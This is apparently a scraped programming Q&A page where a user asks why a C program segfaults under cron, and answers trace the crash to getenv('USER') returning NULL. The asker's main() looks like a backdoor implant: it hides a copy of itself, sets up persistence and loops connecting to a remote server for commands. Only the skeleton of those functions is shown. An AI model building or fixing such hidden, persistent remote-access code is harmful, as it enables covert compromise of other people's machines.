uname -a:
Linux deepin 5.4.70-amd64-desktop #1 SMP Wed Oct 14 15:24:23 CST 2020 x86_64 GNU/Linux
I'm writing a C program that works with directories and sockets. When i run it by the command line, it works as expected, but when running by cron, it reaches segmentation fault.
This is the entry point of my program (and the relevant part, i think).
#include "../include/persistence.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libgen.h>
#include "../include/sockets.h"
#include "../include/footprint.h"
#include "../include/commands.h"
int
main(int argc, char *argv[]) {
char destination_path[2048] = { 0 };
char *exec_filename;
char *safe_exec_filename;
char *username;
(void)argc; // to prevent compiler warning about unused argc
username = getenv("USER");
safe_exec_filename = strdup(argv[0]); // for safe use of basename()
exec_filename = basename(safe_exec_filename);
sprintf(destination_path, "/home/%s/.local/bin/", username);
if (!file_exists(destination_path)) {
if (create_dir(destination_path)) {
strcat(destination_path, exec_filename);
hide_file(argv[0], destination_path);
}
}
if ((strlen(exec_filename) + strlen(destination_path)) > 2048) {
printf("BUFFER TOO SMALL\n");
return 1;
}
strcat(destination_path, exec_filename);
printf("%s\n", destination_path);
if (!file_exists(destination_path)) {
hide_file(argv[0], destination_path);
}
if (safe_exec_filename != NULL) {
free(safe_exec_filename);
}
persistence(destination_path);
while (1) {
int16_t server_socket = connect_to_server();
start_communication(server_socket);
}
return 0;
}
Executing the binary from any (relative/absolute) path by the command line works fine but with cron, 'nothing' happens. When analysing /var/log/syslog, it shows the following:
Mar 4 15:27:01 deepin CRON[14713]: (user) CMD (/home/user/.local/bin/myprogram)
Mar 4 15:27:01 deepin kernel: [ 5934.175052] myprogram[22332]: segfault at 0 ip 00007f4fb5cea327 sp 00007ffd74362328 error 4 in libc-2.28.so[7f4fb5c6f000+148000]
Mar 4 15:27:01 deepin kernel: [ 5934.175060] Code: 0f 7f 27 f3 0f 7f 6f 10 f3 0f 7f 77 20 48 83 c6 30 48 83 c7 30 4c 8d 1d 47 f7 0d 00 49 63 0c 93 49 8d 0c 0b ff e1 66 0f ef c0 <f3> 0f 6f 0e f3 0f 6f 56 10 66 0f 74 c1 66 0f d7 d0 48 85 d2 75 6b
And my crontab -l output:
* * * * * /home/user/.local/bin/myprogram
PS: I tried @reboot but changed to * * * * * to 'debug'. When using @reboot and checking logs, the segmentation fault occurs too. Checking the /var/mail/user, it shows:
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/home/user>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=user>
Message-Id: <20210304184201.5A18124898@deepin>
Date: Thu, 4 Mar 2021 15:27:02 -0300 (-03)
Segmentation fault
Edit 1: I already tried to put (on the top of the main fuction) a function that creates a file, write to it and save. This function never executes. I created an another program with only a main function that writes to a file and save. Put the binary at the same folder of myprogram and crated a cron for it too and it executes normally (i can see the file generated and no segfault or other errors are show on the log).
When you run a program from your shell, it has lots of environment variables set, that may or may not be present when running from cron. USER
is one of these. You should check your system's documentation, but mine has:
Several environment variables are set up automatically by the cron(8) daemon. SHELL is set to /bin/sh, and LOGNAME and HOME are set from the /etc/passwd line of the crontab's owner. HOME and SHELL may be overridden by settings in the crontab; LOGNAME may not.
(Another note: the LOGNAME variable is sometimes called USER on BSD systems... on these systems, USER will be set also.)
So USER
may not be defined. If not, then getenv("USER")
will return NULL, but you don't test for this, so username
will be NULL and segfault when you pass it to sprintf
.
You might be able to use LOGNAME
instead, or skip the environment variables and find the username with something like getpwuid(getuid())
.
In any case, more error checking would be a good idea in general, to forestall more such bugs.
I think that the problem could arise from various issues:
Why do you need to connect to the server in loop?
while (1) {
int16_t server_socket = connect_to_server();
start_communication(server_socket);
}
return 0;
should perhaps be:
int16_t server_socket = connect_to_server();
while (1) {
start_communication(server_socket);
}
return 0;
and instead of:
free(safe_exec_filename);
use:
if (safe_exec_filename == NULL) {
dprintf(2, "Safe exec filename is NULL");
return 1;
}
free(safe_exec_filename);
Also print safe_exec_filename
with both cron and your c program and see if there is a difference, the assembly to your segfault is the following:
0: 0f 7f 27 movq QWORD PTR [edi],mm4
3: f3 0f 7f 6f 10 movdqu XMMWORD PTR [edi+0x10],xmm5
8: f3 0f 7f 77 20 movdqu XMMWORD PTR [edi+0x20],xmm6
d: 48 dec eax
e: 83 c6 30 add esi,0x30
11: 48 dec eax
12: 83 c7 30 add edi,0x30
15: 4c dec esp
16: 8d 1d 47 f7 0d 00 lea ebx,ds:0xdf747
1c: 49 dec ecx
1d: 63 0c 93 arpl WORD PTR [ebx+edx*4],cx
20: 49 dec ecx
21: 8d 0c 0b lea ecx,[ebx+ecx*1]
24: ff e1 jmp ecx
26: 66 0f ef c0 pxor xmm0,xmm0
2a: f3 0f 6f 0e movdqu xmm1,XMMWORD PTR [esi]
2e: f3 0f 6f 56 10 movdqu xmm2,XMMWORD PTR [esi+0x10]
33: 66 0f 74 c1 pcmpeqb xmm0,xmm1
37: 66 0f d7 d0 pmovmskb edx,xmm0
3b: 48 dec eax
3c: 85 d2 test edx,edx
3e: 75 6b jne 0xab
So my main concern is that it could be related to the buffer for destination path that is becoming too small because of cron using a relative path instead of an absolute one:
strcat(destination_path, exec_filename);
Try to change the buffer size:
#define SIZE 2048
char destination_path[SIZE] = { 0 };
and add a check:
if ((strlen(exec_filename) + strlen(destination_path)) > SIZE)
{ error handling}
strcat(destination_path, exec_filename);
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.